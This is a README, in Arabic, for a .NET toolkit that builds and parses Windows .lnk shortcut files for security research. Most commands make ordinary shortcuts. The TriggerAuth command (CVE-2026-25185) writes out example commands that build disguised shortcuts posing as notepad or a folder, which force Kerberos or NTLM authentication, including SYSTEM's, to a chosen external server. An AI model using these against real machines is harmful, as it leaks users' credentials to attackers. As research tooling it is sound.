
أدوات لصناعة أبحاث ملفات Lnk
مجموعة أدوات مبنية على .NET 8 لإنشاء وتحليل ملفات Windows Shell Link (.lnk). تتضمن أداة بناء عبر سطر الأوامر (LnkMeMaybe) ومحررًا رسوميًا (LnkUi). صُمّمت لأغراض أبحاث الأمن واختبار الاختراق.
| المشروع | الوصف |
|---|---|
Lnk/ | المكتبة الأساسية. تَحلّل وتُنشئ تنسيق .lnk الثنائي وفقًا لمواصفة MS-SHLLINK. LnkHandler هو نقطة الدخول الرئيسية، ويجمع بين ShellLinkHeader وLinkTargetIDList وLinkInfo وStringData وExtraData. |
LnkMeMaybe/ | أداة سطر الأوامر. أوامر لتوليد مجموعة متنوعة من ملفات .lnk. تستخدم إطار عمل Titanis.Cli. |
LnkUi/ | محرر سطح مكتب بنمط MVVM مبنٍ على Avalonia 11. سبعة ViewModels تغلّف مكونات مكتبة Lnk المقابلة. مفيد للاستكشاف اليدوي وفحص ملفات .lnk. |
LnkTests/ | مجموعة اختبارات MSTest. عينات حقيقية من ملفات .lnk مضمّنة كموارد. تغطي ShellLinkHeader وLinkInfo. |
تشترك جميع الأوامر في المعاملات الأساسية التالية (من BaseSavedCommand):
TriggerAuth (CVE-2026-25185)ينشئ ملف .lnk يطلق مصادقة Kerberos (مع التراجع إلى NTLM) إلى خادم محدد. لا يقوم ملف .lnk بتنفيذ أي شيء.
السيناريوهات التي يتم فيها إطلاق المصادقة:
.lnk — تتم مصادقة حساب المستخدم صادرًا..lnk في موقع تم ضبط الجهاز على فهرسته — تقوم SearchProtocolHost بالمصادقة بصفة SYSTEM.MSSense.exe بالمصادقة بصفة SYSTEM.المعاملات:
أمثلة:
# إرسال المصادقة إلى \\controlled.example.org\IPC$ مع التظاهر بأنه notepad
LnkMeMaybe.exe TriggerAuth -F C:\Windows\notepad.exe -S \\controlled.example.org -DisplayName notepad.exe -I C:\Windows\notepad.exe -OutputPath notepad.lnk
# إرسال المصادقة إلى مسار مشاركة محدد مع التظاهر بأنه اختصار مجلد
LnkMeMaybe.exe TriggerAuth -F C:\Users\Public -S \\controlled.example.org\validshare\somefile.txt -DisplayName C:\Users\Public -I C:\Windows\system32\imageres.dll -IconIndex 3 -OutputPath Public.lnk
WebShortcutينشئ ملف .lnk يشير إلى عنوان URL على الويب. عادةً ينشئ Windows ملف .url لاختصارات الويب؛ هذا الأمر يُنتج ملف .lnk بدلاً من ذلك.
المعاملات:
| المعامل | مطلوب | الوصف |
|---|---|---|
--Url | نعم | عنوان URL الذي يجب أن يشير إليه الاختصار. يجب أن يكون عنوان URI مطلقًا جيد التكوين. |
مثال:
LnkMeMaybe.exe WebShortcut -Url https://example.org -OutputPath example.lnk
LocalShortcutينشئ اختصار Windows قياسيًا إلى ملف أو مجلد محلي. يُخزَّن مسار الهدف كقائمة معرّفات عناصر shell (PIDL) — التنسيق الأصلي الذي يستخدمه Windows لاختصارات نظام الملفات.
المعاملات:
أمثلة:
# إنشاء اختصار إلى Notepad
LnkMeMaybe.exe LocalShortcut --TargetPath C:\Windows\notepad.exe --OutputPath notepad.lnk
# اختصار مع وسائط وأيقونة مخصصة
LnkMeMaybe.exe LocalShortcut --TargetPath C:\Windows\notepad.exe --Arguments myfile.txt --WorkingDirectory C:\Users\Public --OutputPath notepad.lnk -I C:\Windows\notepad.exe
# اختصار يُفتح بحالة Maximized ويطلب رفع المستوى
LnkMeMaybe.exe LocalShortcut --TargetPath C:\Windows\System32\cmd.exe --ShowCommand Maximized --RunAsAdmin --OutputPath cmd_admin.lnk
EnvShortcutينشئ ملف .lnk حيث يُخزَّن مسار الهدف كسلسلة متغير بيئة قابلة للتوسيع (EnvironmentVariableDataBlock). هذا هو التنسيق الذي يستخدمه Windows للاختصارات إلى الملفات التنفيذية للنظام (مثل %SystemRoot%\system32\notepad.exe). يتم توسيع المتغيرات وقت التشغيل، مما يجعل الاختصار قابلًا للنقل عبر تثبيتات Windows المختلفة.
المعاملات:
أمثلة:
# اختصار إلى Notepad باستخدام مسار متغير بيئة
LnkMeMaybe.exe EnvShortcut --TargetPath "%SystemRoot%\system32\notepad.exe" --OutputPath notepad.lnk
# اختصار إلى تطبيق في ملف تعريف المستخدم مع وسائط
LnkMeMaybe.exe EnvShortcut --TargetPath "%LOCALAPPDATA%\MyApp\app.exe" --Arguments "--config default" --WorkingDirectory "%USERPROFILE%" --OutputPath myapp.lnk
# بناء (تصحيح الأخطاء)
dotnet build Lnk.sln
# بناء (إصدار نهائي، المشاريع الأساسية فقط)
dotnet build -c Release build.slnf
# تشغيل جميع الاختبارات
dotnet test
# تشغيل فئة اختبار محددة
dotnet test --filter "ClassName=lnkHeader"
# نشر ملف تنفيذي واحد ذاتي الاحتواء (Windows x64)
dotnet publish -c Release -r win-x64 -p:PublishSingleFile=true -p:DebugType=None --self-contained true --output LnkMeMaybeWindows LnkMeMaybe/LnkMeMaybe.csproj
تتوفر ملفات ثنائية مُجمّعة مسبقًا لأنظمة Windows وLinux وmacOS (x64 وarm64) في صفحة Releases.
يتضمن كل إصدار بنيتين مستقلتين (لا تتطلبان .NET runtime) ومعتمدتين على الإطار (تتطلبان .NET 8 runtime) لكل من LnkMeMaybe وLnkUi.
استُخدمت أنظمة الذكاء الاصطناعي في المهام التالية:
بخلاف ذلك، فإن الكود الموجود في هذا المستودع قد أُنشئ ورُوجِع بواسطة البشر.
| المعامل | الاسم المختصر | مطلوب | الوصف |
|---|
--OutputPath | نعم | مسار نظام الملفات لكتابة ملف .lnk. | |
--Overwrite | لا | السماح بالكتابة فوق ملف موجود عند OutputPath. | |
--DisplayName | لا | النص الذي يظهر عند التمرير فوق الاختصار. يدعم \n للأسطر الجديدة. | |
--IconPath / -I | -I | لا | مسار ملف .exe أو .dll لاستخدامه كأيقونة للاختصار. يجب أن يكون موجودًا على النظام الهدف. |
--IconIndex | لا | فهرس مورد الأيقونة داخل الملف المحدد عبر --IconPath. القيمة الافتراضية: 0. |
| المعامل | الاسم المختصر | مطلوب | الوصف |
|---|
--FakePath / -F | -F | نعم | المسار المعروض كهدف في خصائص ملف .lnk. |
--Server / -S | -S | نعم | اسم مضيف الخادم أو عنوان IP أو مسار UNC لإرسال المصادقة إليه. يُلحق IPC$ إذا لم يتم تحديد مشاركة. |
--Darwin | لا | معرّف Darwin المخزن في ملف .lnk. يمكن أن يكون أي قيمة. القيمة الافتراضية: unset. |
| المعامل | الاسم المختصر | مطلوب | الوصف |
|---|
--TargetPath | نعم | المسار المطلق للملف أو المجلد الهدف. | |
--Arguments | لا | وسائط سطر الأوامر لتمريرها إلى الهدف. | |
--WorkingDirectory | -W | لا | دليل العمل للعملية الهدف. |
--RunAsAdmin | لا | طلب رفع مستوى UAC عند تشغيل الاختصار. | |
--ShowCommand | لا | حالة النافذة عند التشغيل: Normal أو Maximized أو Minimized. |
| المعامل | الاسم المختصر | مطلوب | الوصف |
|---|
--TargetPath | نعم | المسار الهدف، يمكن أن يتضمن متغيرات بيئة مثل %SystemRoot% أو %USERPROFILE%. | |
--Arguments | لا | وسائط سطر الأوامر لتمريرها إلى الهدف. | |
--WorkingDirectory | -W | لا | دليل العمل للعملية الهدف. |
--RunAsAdmin | لا | طلب رفع مستوى UAC عند تشغيل الاختصار. | |
--ShowCommand | لا | حالة النافذة عند التشغيل: Normal أو Maximized أو Minimized. |